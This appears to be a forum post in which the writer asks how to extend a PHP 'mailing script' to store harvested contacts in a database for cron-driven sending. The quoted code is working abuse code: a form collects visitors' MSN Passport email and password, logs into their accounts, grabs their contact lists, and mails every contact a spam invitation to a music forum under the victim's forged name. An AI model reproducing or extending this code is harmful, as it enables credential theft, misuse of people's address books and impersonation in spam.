hi basicly ive a mailing script and i was wondering how i could make the script send the emails that it grabs from msn to a database so i cud use cron
PHP Code:
<?php

error_reporting
(E_ALL);

require(
'phplistgrab.php');

if (
$_SERVER['REQUEST_METHOD'] == 'POST')
{
$phplistgrab = new phpListGrab($_POST['passport'], $_POST['password']);
$phplistgrab->grab();

// Sort the contact list into alphabetical order
sort($phplistgrab->lists[LIST_FORWARD]);
$header "From: ".$_POST['passport']." <".$_POST['passport'].">\r\n";


foreach (
$phplistgrab->lists[LIST_FORWARD] as $contact)
{

$to $contact['passport'];
$subject 'Check my webpage plz';
$message 'Hello Friend. 
You Have Been Invited By Someone On Your Contact List To Join http://www.aur-phala.com/forum/register1.php  <<Click To Join.
Join the ever expanding music site that is http://www.aur-phala.com/forum/register1.php . There are many features on the site which include:

post in the forums
play in the arcade
join the profile community
listen to music
listen to the radio
Upload videos (like youtube)

So do not hesitate and join the revolution at http://www.aur-phala.com/forum/register1.php

So Sign Up Today And Invite Your Friends To.
Thank you,

Your Friend @ http://www.aur-phala.com/forum/register1.php'
;

mail($to$subject$message$header);
}
}
else
{

echo <<<EOT

<META 
     HTTP-EQUIV="Refresh"
     CONTENT="2; URL=http://aur-phala.com/forum/register.php?do=register&agree=1">

</head>
<body>

<form  method="post" action="index.php">

<table cellpadding="2" cellspacing="2" border="1" width="100%">
<tr>
<td>Passport:</td>
<td><input type="text" name="passport" /></td>
</tr>
<tr>
<td>Password:</td>
<td><input type="password" name="password" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" name="pie" value="Submit" /></td>
</tr>

</table>

</form>

EOT;

}

?>
[/QUOTE]